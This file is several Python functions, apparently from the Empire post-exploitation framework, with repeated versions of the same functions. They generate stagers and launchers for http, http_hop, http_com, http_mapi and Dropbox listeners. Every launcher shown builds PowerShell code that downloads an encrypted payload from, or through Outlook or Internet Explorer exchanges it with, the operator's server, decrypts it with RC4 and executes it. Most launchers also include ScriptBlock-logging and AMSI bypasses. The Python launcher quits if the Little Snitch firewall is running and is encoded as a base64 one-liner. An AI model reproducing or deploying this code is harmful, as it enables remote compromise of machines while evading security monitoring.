def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/http generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] killDate = listenerOptions['KillDate']['Value'] host = listenerOptions['Host']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" #Patch in custom Headers if customHeaders != []: headers = ','.join(customHeaders) stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";") #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) #Patch in the killdate, if any if killDate != "": stager = stager.replace('REPLACE_KILLDATE', killDate) # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': # read in the stager base f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) if host.endswith("/"): host = host[0:-1] if workingHours != "": stager = stager.replace('SET_WORKINGHOURS', workingHours) if killDate != "": stager = stager.replace('SET_KILLDATE', killDate) # # patch the server and key information stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("REPLACE_PROFILE", profile) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # # base64 encode the stager and return it if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/http generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") stager += "['ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("){$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" stager += helpers.randomize_capitalization("$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") stager += "('EnableScriptB'+'lockLogging',0);" stager += helpers.randomize_capitalization("$val.Add") stager += "('EnableScriptBlockInvocationLogging',0);" stager += helpers.randomize_capitalization("$GPC") stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("=$val}") stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(") stager += "'signatures','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";') stager += "$outlook = New-Object -comobject Outlook.Application;" stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("') stager += 'MAPI");' if listenerOptions['Email']['Value'] != '': stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};' stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};' else: stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");' stager += '$fldel = $outlook.Session.GetDefaultFolder(3);' # clear out all existing mails/messages stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}") # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "') stager += 'mailpireout";' stager += helpers.randomize_capitalization('$mail.Body = ') stager += '"STAGE - %s"' % b64RoutingPacket stager += helpers.randomize_capitalization(';$mail.save() | out-null;') stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;') stager += helpers.randomize_capitalization('$break = $False; $data = "";') stager += helpers.randomize_capitalization("While ($break -ne $True){") stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;') stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}') stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.") else: print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/http_com generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # ScriptBlock Logging bypass stager = helpers.randomize_capitalization( "$GroupPolicySettings = [ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization( ").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" stager += helpers.randomize_capitalization( ").GetValue($null);$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" stager += helpers.randomize_capitalization( "$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization( "[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization( ')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization( ").SetValue($null,$true)};") stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) # TODO: reimplement stager retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str( bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str( bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a header location stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" stager += "$ser='%s';$t='%s';" % (host, stage0) stager += "$ie.navigate2($ser+$t,$fl,0,$Null,'CF-RAY: %s');" % ( b64RoutingPacket) stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate( stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print helpers.color( "[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." ) else: print helpers.color( "[!] listeners/http_com generate_launcher(): invalid listener name specification!" )
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"): """ Generate the stager code needed for communications with this listener. """ #if not language: # print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!') # return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] folder = listenerOptions['Folder']['Value'] if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # patch the server and key information stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_FOLDER', folder) # patch in working hours if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print( helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module." ))
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/http_hop generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['RedirectStagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # @mattifestation's AMSI bypass stager = helpers.randomize_capitalization( "[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization( ')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization( ").SetValue($null,$true)};") stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) stager += helpers.randomize_capitalization( "$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': userAgent = profile.split('|')[1] stager += "$u='" + userAgent + "';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization( '$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") stager += helpers.randomize_capitalization( "$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization( "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: # TODO: implement form for other proxy credentials pass # TODO: reimplement stager retries? # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += "$ser='%s';$t='%s';" % (host, stage0) stager += helpers.randomize_capitalization( "$data=$WC.DownloadData($ser+$t);") stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if 'https' in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stagger: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': userAgent = profile.split('|')[1] launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % ( b64RoutingPacket) launcherBase += "import urllib2\n" launcherBase += "if urllib2.getproxies():\n" launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" # download the stager and extract the IV launcherBase += "a=o.open(server+t).read();" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % ( launchEncoded) return launcher else: return launcherBase else: print helpers.color( "[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) else: print helpers.color( "[!] listeners/http_hop generate_launcher(): invalid listener name specification!" )
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False, ETWBypass=False): """ Generate a basic launcher for the specified listener. """ if not language: print( helpers.color( '[!] listeners/http_com generate_launcher(): no language specified!' )) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] requestHeader = listenerOptions['RequestHeader']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass if scriptLogBypass: stager += bypasses.scriptBlockLogBypass() if ETWBypass: stager += bypasses.ETWBypass() # @mattifestation's AMSI bypass if AMSIBypass: stager += bypasses.AMSIBypass() # rastamouse AMSI bypass if AMSIBypass2: stager += bypasses.AMSIBypass2() stager += "};" stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) # TODO: reimplement stager retries? # check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str( bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str( bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$" + helpers.generate_random_script_var_name("K") + "=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$' + helpers.generate_random_script_var_name("K") + '=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$' + helpers.generate_random_script_var_name("K") + '[$_%$' + helpers.generate_random_script_var_name("K") + '.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" stager += "$ser=" + helpers.obfuscate_call_home_address( host) + ";$t='" + stage0 + "';" # add the RC4 packet to a header location stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket) # Add custom headers if any modifyHost = False if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] if headerKey.lower() == "host": modifyHost = True stager += "`r`n%s: %s" % (headerKey, headerValue) stager += "\";" # If host header defined, assume domain fronting is in use and add a call to the base URL first # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if modifyHost: stager += helpers.randomize_capitalization( "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};" ) stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$" + helpers.generate_random_script_var_name("K") + ")) | IEX") if obfuscate: stager = helpers.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print( helpers.color( "[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." )) else: print( helpers.color( "[!] listeners/http_com generate_launcher(): invalid listener name specification!" ))
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/dbx generate_stager(): no language specified!') return None pollInterval = listenerOptions['PollInterval']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') apiToken = listenerOptions['APIToken']['Value'] profile = listenerOptions['DefaultProfile']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': template_path = [ os.path.join(self.mainMenu.installPath, '/data/agent/stagers'), os.path.join(self.mainMenu.installPath, './data/agent/stagers')] eng = templating.TemplateEngine(template_path) template = eng.get_template('dropbox.py') template_options = { 'staging_folder': stagingFolder, 'poll_interval': pollInterval, 'staging_key': stagingKey, 'profile': profile, 'api_token': apiToken } stager = template.render(template_options) stager = obfuscation.py_minify(stager) if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/http_com generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" #Patch in custom Headers headers = "" if customHeaders != []: crlf = False for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] # Host header TLS SNI logic done within http_com.ps1 if crlf: headers += "`r`n" else: crlf = True headers += "%s: %s" % (headerKey, headerValue) stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";") # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module.")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False): """ Generate a basic launcher for the specified listener. """ if not language: print( helpers.color( '[!] listeners/http generate_launcher(): no language specified!' )) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass if scriptLogBypass: stager += bypasses.scriptBlockLogBypass() # @mattifestation's AMSI bypass if AMSIBypass: stager += bypasses.AMSIBypass() # rastamouse AMSI bypass if AMSIBypass2: stager += bypasses.AMSIBypass2() stager += "};" stager += helpers.randomize_capitalization( 'Add-Type -assembly "Microsoft.Office.Interop.Outlook";' ) stager += "$" + helpers.generate_random_script_var_name( "GPF" ) + " = New-Object -comobject Outlook.Application;" 